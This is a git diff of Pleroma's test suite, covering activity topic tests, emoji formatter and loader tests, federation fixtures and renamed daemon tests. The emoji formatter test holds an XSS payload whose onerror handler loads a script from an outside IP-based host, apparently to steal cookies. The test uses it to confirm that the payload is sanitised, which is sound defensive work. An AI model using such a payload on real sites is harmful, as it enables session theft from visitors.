diff options
Diffstat (limited to 'test')
127 files changed, 5755 insertions, 2845 deletions
| diff --git a/test/activity/ir/topics_test.exs b/test/activity/ir/topics_test.exs new file mode 100644 index 000000000..e75f83586 --- /dev/null +++ b/test/activity/ir/topics_test.exs @@ -0,0 +1,141 @@ +defmodule Pleroma.Activity.Ir.TopicsTest do +  use Pleroma.DataCase + +  alias Pleroma.Activity +  alias Pleroma.Activity.Ir.Topics +  alias Pleroma.Object + +  require Pleroma.Constants + +  describe "poll answer" do +    test "produce no topics" do +      activity = %Activity{object: %Object{data: %{"type" => "Answer"}}} + +      assert [] == Topics.get_activity_topics(activity) +    end +  end + +  describe "non poll answer" do +    test "always add user and list topics" do +      activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}} +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "user") +      assert Enum.member?(topics, "list") +    end +  end + +  describe "public visibility" do +    setup do +      activity = %Activity{ +        object: %Object{data: %{"type" => "Note"}}, +        data: %{"to" => [Pleroma.Constants.as_public()]} +      } + +      {:ok, activity: activity} +    end + +    test "produces public topic", %{activity: activity} do +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "public") +    end + +    test "local action produces public:local topic", %{activity: activity} do +      activity = %{activity | local: true} +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "public:local") +    end + +    test "non-local action does not produce public:local topic", %{activity: activity} do +      activity = %{activity | local: false} +      topics = Topics.get_activity_topics(activity) + +      refute Enum.member?(topics, "public:local") +    end +  end + +  describe "public visibility create events" do +    setup do +      activity = %Activity{ +        object: %Object{data: %{"type" => "Create", "attachment" => []}}, +        data: %{"to" => [Pleroma.Constants.as_public()]} +      } + +      {:ok, activity: activity} +    end + +    test "with no attachments doesn't produce public:media topics", %{activity: activity} do +      topics = Topics.get_activity_topics(activity) + +      refute Enum.member?(topics, "public:media") +      refute Enum.member?(topics, "public:local:media") +    end + +    test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do +      tagged_data = Map.put(data, "tag", ["foo", "bar"]) +      activity = %{activity | object: %{object | data: tagged_data}} + +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "hashtag:foo") +      assert Enum.member?(topics, "hashtag:bar") +    end + +    test "only converts strinngs to hash tags", %{ +      activity: %{object: %{data: data} = object} = activity +    } do +      tagged_data = Map.put(data, "tag", [2]) +      activity = %{activity | object: %{object | data: tagged_data}} + +      topics = Topics.get_activity_topics(activity) + +      refute Enum.member?(topics, "hashtag:2") +    end +  end + +  describe "public visibility create events with attachments" do +    setup do +      activity = %Activity{ +        object: %Object{data: %{"type" => "Create", "attachment" => ["foo"]}}, +        data: %{"to" => [Pleroma.Constants.as_public()]} +      } + +      {:ok, activity: activity} +    end + +    test "produce public:media topics", %{activity: activity} do +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "public:media") +    end + +    test "local produces public:local:media topics", %{activity: activity} do +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "public:local:media") +    end + +    test "non-local doesn't produce public:local:media topics", %{activity: activity} do +      activity = %{activity | local: false} + +      topics = Topics.get_activity_topics(activity) + +      refute Enum.member?(topics, "public:local:media") +    end +  end + +  describe "non-public visibility" do +    test "produces direct topic" do +      activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}} +      topics = Topics.get_activity_topics(activity) + +      assert Enum.member?(topics, "direct") +      refute Enum.member?(topics, "public") +      refute Enum.member?(topics, "public:local") +      refute Enum.member?(topics, "public:media") +      refute Enum.member?(topics, "public:local:media") +    end +  end +end diff --git a/test/activity_test.exs b/test/activity_test.exs index 4152aaa7e..95d9341c4 100644 --- a/test/activity_test.exs +++ b/test/activity_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.ActivityTest do @@ -7,6 +7,7 @@ defmodule Pleroma.ActivityTest do    alias Pleroma.Activity    alias Pleroma.Bookmark    alias Pleroma.Object +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.ThreadMute    import Pleroma.Factory @@ -125,7 +126,8 @@ defmodule Pleroma.ActivityTest do        }        {:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{"status" => "find me!"}) -      {:ok, remote_activity} = Pleroma.Web.Federator.incoming_ap_doc(params) +      {:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params) +      {:ok, remote_activity} = ObanHelpers.perform(job)        %{local_activity: local_activity, remote_activity: remote_activity, user: user}      end @@ -185,4 +187,39 @@ defmodule Pleroma.ActivityTest do      assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities    end + +  test "get_by_id_with_object/1" do +    %{id: id} = insert(:note_activity) + +    assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id) +  end + +  test "get_by_ap_id_with_object/1" do +    %{data: %{"id" => ap_id}} = insert(:note_activity) + +    assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} = +             Activity.get_by_ap_id_with_object(ap_id) +  end + +  test "get_by_id/1" do +    %{id: id} = insert(:note_activity) + +    assert %Activity{id: ^id} = Activity.get_by_id(id) +  end + +  test "all_by_actor_and_id/2" do +    user = insert(:user) + +    {:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofe"}) +    {:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofefe"}) + +    assert [] == Activity.all_by_actor_and_id(user, []) + +    activities = +      user.ap_id +      |> Activity.all_by_actor_and_id([id1, id2]) +      |> Enum.sort(&(&1.id < &2.id)) + +    assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities +  end  end diff --git a/test/captcha_test.exs b/test/captcha_test.exs index 7ca9a4607..9f395d6b4 100644 --- a/test/captcha_test.exs +++ b/test/captcha_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.CaptchaTest do diff --git a/test/config_test.exs b/test/config_test.exs index 73f3fcb0a..438fe62ee 100644 --- a/test/config_test.exs +++ b/test/config_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.ConfigTest do diff --git a/test/conversation_test.exs b/test/conversation_test.exs index 4e36494f8..693427d80 100644 --- a/test/conversation_test.exs +++ b/test/conversation_test.exs @@ -22,6 +22,8 @@ defmodule Pleroma.ConversationTest do      {:ok, _activity} =        CommonAPI.post(user, %{"visibility" => "direct", "status" => "hey @#{other_user.nickname}"}) +    Pleroma.Tests.ObanHelpers.perform_all() +      Repo.delete_all(Conversation)      Repo.delete_all(Conversation.Participation) diff --git a/test/activity_expiration_worker_test.exs b/test/daemons/activity_expiration_daemon_test.exs index 939d912f1..b51132fb0 100644 --- a/test/activity_expiration_worker_test.exs +++ b/test/daemons/activity_expiration_daemon_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.ActivityExpirationWorkerTest do @@ -10,7 +10,7 @@ defmodule Pleroma.ActivityExpirationWorkerTest do    test "deletes an activity" do      activity = insert(:note_activity)      expiration = insert(:expiration_in_the_past, %{activity_id: activity.id}) -    Pleroma.ActivityExpirationWorker.perform(:execute, expiration.id) +    Pleroma.Daemons.ActivityExpirationDaemon.perform(:execute, expiration.id)      refute Repo.get(Activity, activity.id)    end diff --git a/test/web/digest_email_worker_test.exs b/test/daemons/digest_email_daemon_test.exs index 15002330f..3168f3b9a 100644 --- a/test/web/digest_email_worker_test.exs +++ b/test/daemons/digest_email_daemon_test.exs @@ -2,11 +2,12 @@  # Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.DigestEmailWorkerTest do +defmodule Pleroma.DigestEmailDaemonTest do    use Pleroma.DataCase    import Pleroma.Factory -  alias Pleroma.DigestEmailWorker +  alias Pleroma.Daemons.DigestEmailDaemon +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.CommonAPI @@ -22,7 +23,10 @@ defmodule Pleroma.DigestEmailWorkerTest do      User.switch_email_notifications(user2, "digest", true)      CommonAPI.post(user, %{"status" => "hey @#{user2.nickname}!"}) -    DigestEmailWorker.perform() +    DigestEmailDaemon.perform() +    ObanHelpers.perform_all() +    # Performing job(s) enqueued at previous step +    ObanHelpers.perform_all()      assert_received {:email, email}      assert email.to == [{user2.name, user2.email}] diff --git a/test/scheduled_activity_worker_test.exs b/test/daemons/scheduled_activity_daemon_test.exs index e3ad1244e..c8e464491 100644 --- a/test/scheduled_activity_worker_test.exs +++ b/test/daemons/scheduled_activity_daemon_test.exs @@ -1,8 +1,8 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.ScheduledActivityWorkerTest do +defmodule Pleroma.ScheduledActivityDaemonTest do    use Pleroma.DataCase    alias Pleroma.ScheduledActivity    import Pleroma.Factory @@ -10,7 +10,7 @@ defmodule Pleroma.ScheduledActivityWorkerTest do    test "creates a status from the scheduled activity" do      user = insert(:user)      scheduled_activity = insert(:scheduled_activity, user: user, params: %{status: "hi"}) -    Pleroma.ScheduledActivityWorker.perform(:execute, scheduled_activity.id) +    Pleroma.Daemons.ScheduledActivityDaemon.perform(:execute, scheduled_activity.id)      refute Repo.get(ScheduledActivity, scheduled_activity.id)      activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id)) diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs index 9e83c73c6..31eac5f12 100644 --- a/test/emails/admin_email_test.exs +++ b/test/emails/admin_email_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Emails.AdminEmailTest do diff --git a/test/emails/mailer_test.exs b/test/emails/mailer_test.exs index ae5effb7a..2425c85dd 100644 --- a/test/emails/mailer_test.exs +++ b/test/emails/mailer_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Emails.MailerTest do diff --git a/test/emails/user_email_test.exs b/test/emails/user_email_test.exs index 7d8df6abc..963565f7c 100644 --- a/test/emails/user_email_test.exs +++ b/test/emails/user_email_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Emails.UserEmailTest do diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..6d25fc453 --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,64 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do +  alias Pleroma.Emoji +  alias Pleroma.Emoji.Formatter +  use Pleroma.DataCase + +  describe "emojify" do +    test "it adds cool emoji" do +      text = "I love :firefox:" + +      expected_result = +        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />" + +      assert Formatter.emojify(text) == expected_result +    end + +    test "it does not add XSS emoji" do +      text = +        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + +      custom_emoji = +        { +          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", +          "https://placehold.it/1x1" +        } +        |> Pleroma.Emoji.build() + +      expected_result = +        "I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" + +      assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result +    end +  end + +  describe "get_emoji" do +    test "it returns the emoji used in the text" do +      text = "I love :firefox:" + +      assert Formatter.get_emoji(text) == [ +               {"firefox", +                %Emoji{ +                  code: "firefox", +                  file: "/emoji/Firefox.gif", +                  tags: ["Gif", "Fun"], +                  safe_code: "firefox", +                  safe_file: "/emoji/Firefox.gif" +                }} +             ] +    end + +    test "it returns a nice empty result when no emojis are present" do +      text = "I love moominamma" +      assert Formatter.get_emoji(text) == [] +    end + +    test "it doesn't die when text is absent" do +      text = nil +      assert Formatter.get_emoji(text) == [] +    end +  end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do +  use ExUnit.Case, async: true +  alias Pleroma.Emoji.Loader + +  describe "match_extra/2" do +    setup do +      groups = [ +        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], +        "wildcard folder": "/emoji/custom/*/file.png", +        "wildcard files": "/emoji/custom/folder/*.png", +        "special file": "/emoji/custom/special.png" +      ] + +      {:ok, groups: groups} +    end + +    test "config for list of files", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/first_file.png") +        |> to_string() + +      assert group == "list of files" +    end + +    test "config with wildcard folder", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/some_folder/file.png") +        |> to_string() + +      assert group == "wildcard folder" +    end + +    test "config with wildcard folder and subfolders", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") +        |> to_string() + +      assert group == "wildcard folder" +    end + +    test "config with wildcard files", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/folder/some_file.png") +        |> to_string() + +      assert group == "wildcard files" +    end + +    test "config with wildcard files and subfolders", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") +        |> to_string() + +      assert group == "wildcard files" +    end + +    test "config for special file", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/custom/special.png") +        |> to_string() + +      assert group == "special file" +    end + +    test "no mathing returns nil", %{groups: groups} do +      group = +        groups +        |> Loader.match_extra("/emoji/some_undefined.png") + +      refute group +    end +  end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 467357291..7bdf2b6fa 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -22,9 +22,9 @@ defmodule Pleroma.EmojiTest do      test "first emoji", %{emoji_list: emoji_list} do        [emoji | _others] = emoji_list -      {code, path, tags} = emoji +      {code, %Emoji{file: path, tags: tags}} = emoji -      assert tuple_size(emoji) == 3 +      assert tuple_size(emoji) == 2        assert is_binary(code)        assert is_binary(path)        assert is_list(tags) @@ -32,87 +32,12 @@ defmodule Pleroma.EmojiTest do      test "random emoji", %{emoji_list: emoji_list} do        emoji = Enum.random(emoji_list) -      {code, path, tags} = emoji +      {code, %Emoji{file: path, tags: tags}} = emoji -      assert tuple_size(emoji) == 3 +      assert tuple_size(emoji) == 2        assert is_binary(code)        assert is_binary(path)        assert is_list(tags)      end    end - -  describe "match_extra/2" do -    setup do -      groups = [ -        "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], -        "wildcard folder": "/emoji/custom/*/file.png", -        "wildcard files": "/emoji/custom/folder/*.png", -        "special file": "/emoji/custom/special.png" -      ] - -      {:ok, groups: groups} -    end - -    test "config for list of files", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/first_file.png") -        |> to_string() - -      assert group == "list of files" -    end - -    test "config with wildcard folder", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/some_folder/file.png") -        |> to_string() - -      assert group == "wildcard folder" -    end - -    test "config with wildcard folder and subfolders", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") -        |> to_string() - -      assert group == "wildcard folder" -    end - -    test "config with wildcard files", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/folder/some_file.png") -        |> to_string() - -      assert group == "wildcard files" -    end - -    test "config with wildcard files and subfolders", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") -        |> to_string() - -      assert group == "wildcard files" -    end - -    test "config for special file", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/custom/special.png") -        |> to_string() - -      assert group == "special file" -    end - -    test "no mathing returns nil", %{groups: groups} do -      group = -        groups -        |> Emoji.match_extra("/emoji/some_undefined.png") - -      refute group -    end -  end  end diff --git a/test/fixtures/tesla_mock/poll_modified.json b/test/fixtures/tesla_mock/poll_modified.json new file mode 100644 index 000000000..1d026b592 --- /dev/null +++ b/test/fixtures/tesla_mock/poll_modified.json @@ -0,0 +1 @@ +{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":8,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":3,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}
\ No newline at end of file diff --git a/test/fixtures/tesla_mock/poll_original.json b/test/fixtures/tesla_mock/poll_original.json new file mode 100644 index 000000000..267876b3c --- /dev/null +++ b/test/fixtures/tesla_mock/poll_original.json @@ -0,0 +1 @@ +{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":4,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":0,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}
\ No newline at end of file diff --git a/test/fixtures/tesla_mock/rin.json b/test/fixtures/tesla_mock/rin.json new file mode 100644 index 000000000..2cf623764 --- /dev/null +++ b/test/fixtures/tesla_mock/rin.json @@ -0,0 +1 @@ +{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://patch.cx/oauth/authorize","oauthRegistrationEndpoint":"https://patch.cx/api/v1/apps","oauthTokenEndpoint":"https://patch.cx/oauth/token","sharedInbox":"https://patch.cx/inbox"},"followers":"https://patch.cx/users/rin/followers","following":"https://patch.cx/users/rin/following","icon":{"type":"Image","url":"https://patch.cx/media/4e914f5b84e4a259a3f6c2d2edc9ab642f2ab05f3e3d9c52c81fc2d984b3d51e.jpg"},"id":"https://patch.cx/users/rin","image":{"type":"Image","url":"https://patch.cx/media/f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg?name=f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg"},"inbox":"https://patch.cx/users/rin/inbox","manuallyApprovesFollowers":false,"name":"rinpatch","outbox":"https://patch.cx/users/rin/outbox","preferredUsername":"rin","publicKey":{"id":"https://patch.cx/users/rin#main-key","owner":"https://patch.cx/users/rin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5DLtwGXNZElJyxFGfcVc\nXANhaMadj/iYYQwZjOJTV9QsbtiNBeIK54PJrYuU0/0YIdrvS1iqheX5IwXRhcwa\nhm3ZyLz7XeN9st7FBni4BmZMBtMpxAuYuu5p/jbWy13qAiYOhPreCx0wrWgm/lBD\n9mkgaxIxPooBE0S4ZWEJIDIV1Vft3AWcRUyWW1vIBK0uZzs6GYshbQZB952S0yo4\nFzI1hABGHncH8UvuFauh4EZ8tY7/X5I0pGRnDOcRN1dAht5w5yTA+6r5kebiFQjP\nIzN/eCO/a9Flrj9YGW7HDNtjSOH0A31PLRGlJtJO3yK57dnf5ppyCZGfL4emShQo\ncQIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"your friendly neighborhood pleroma developer<br>I like cute things and distributed systems, and really hate delete and redrafts","tag":[],"type":"Person","url":"https://patch.cx/users/rin"}
\ No newline at end of file diff --git a/test/flake_id_test.exs b/test/flake_id_test.exs deleted file mode 100644 index 85ed5bbdf..000000000 --- a/test/flake_id_test.exs +++ /dev/null @@ -1,47 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.FlakeIdTest do -  use Pleroma.DataCase -  import Kernel, except: [to_string: 1] -  import Pleroma.FlakeId - -  describe "fake flakes (compatibility with older serial integers)" do -    test "from_string/1" do -      fake_flake = <<0::integer-size(64), 42::integer-size(64)>> -      assert from_string("42") == fake_flake -      assert from_string(42) == fake_flake -    end - -    test "zero or -1 is a null flake" do -      fake_flake = <<0::integer-size(128)>> -      assert from_string("0") == fake_flake -      assert from_string("-1") == fake_flake -    end - -    test "to_string/1" do -      fake_flake = <<0::integer-size(64), 42::integer-size(64)>> -      assert to_string(fake_flake) == "42" -    end -  end - -  test "ecto type behaviour" do -    flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>> -    flake_s = "9eoozpwTul5mjSEDRI" - -    assert cast(flake) == {:ok, flake_s} -    assert cast(flake_s) == {:ok, flake_s} - -    assert load(flake) == {:ok, flake_s} -    assert load(flake_s) == {:ok, flake_s} - -    assert dump(flake_s) == {:ok, flake} -    assert dump(flake) == {:ok, flake} -  end - -  test "is_flake_id?/1" do -    assert is_flake_id?("9eoozpwTul5mjSEDRI") -    refute is_flake_id?("http://example.com/activities/3ebbadd1-eb14-4e20-8118-b6f79c0c7b0b") -  end -end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index bfa673049..3bff51527 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.FormatterTest do @@ -19,7 +19,7 @@ defmodule Pleroma.FormatterTest do        text = "I love #cofe and #2hu"        expected_text = -        "I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>" +        ~s(I love <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag ugc">#cofe</a> and <a class="hashtag" data-tag="2hu" href="http://localhost:4001/tag/2hu" rel="tag ugc">#2hu</a>)        assert {^expected_text, [], _tags} = Formatter.linkify(text)      end @@ -28,7 +28,7 @@ defmodule Pleroma.FormatterTest do        text = "#fact_3: pleroma does what mastodon't"        expected_text = -        "<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't" +        ~s(<a class="hashtag" data-tag="fact_3" href="http://localhost:4001/tag/fact_3" rel="tag ugc">#fact_3</a>: pleroma does what mastodon't)        assert {^expected_text, [], _tags} = Formatter.linkify(text)      end @@ -39,21 +39,21 @@ defmodule Pleroma.FormatterTest do        text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."        expected = -        "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ." +        ~S(Hey, check out <a href="https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla" rel="ugc">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> .)        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://mastodon.social/@lambadalambda"        expected = -        "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>" +        ~S(<a href="https://mastodon.social/@lambadalambda" rel="ugc">https://mastodon.social/@lambadalambda</a>)        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://mastodon.social:4000/@lambadalambda"        expected = -        "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>" +        ~S(<a href="https://mastodon.social:4000/@lambadalambda" rel="ugc">https://mastodon.social:4000/@lambadalambda</a>)        assert {^expected, [], []} = Formatter.linkify(text) @@ -63,55 +63,57 @@ defmodule Pleroma.FormatterTest do        assert {^expected, [], []} = Formatter.linkify(text)        text = "http://www.cs.vu.nl/~ast/intel/" -      expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>" + +      expected = +        ~S(<a href="http://www.cs.vu.nl/~ast/intel/" rel="ugc">http://www.cs.vu.nl/~ast/intel/</a>)        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"        expected = -        "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>" +        "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\" rel=\"ugc\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"        expected = -        "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>" +        "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\" rel=\"ugc\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://www.google.co.jp/search?q=Nasim+Aghdam"        expected = -        "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>" +        "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\" rel=\"ugc\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://en.wikipedia.org/wiki/Duff's_device"        expected = -        "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>" +        "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\" rel=\"ugc\">https://en.wikipedia.org/wiki/Duff's_device</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "https://pleroma.com https://pleroma.com/sucks"        expected = -        "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>" +        "<a href=\"https://pleroma.com\" rel=\"ugc\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\" rel=\"ugc\">https://pleroma.com/sucks</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text = "xmpp:contact@hacktivis.me" -      expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>" +      expected = "<a href=\"xmpp:contact@hacktivis.me\" rel=\"ugc\">xmpp:contact@hacktivis.me</a>"        assert {^expected, [], []} = Formatter.linkify(text)        text =          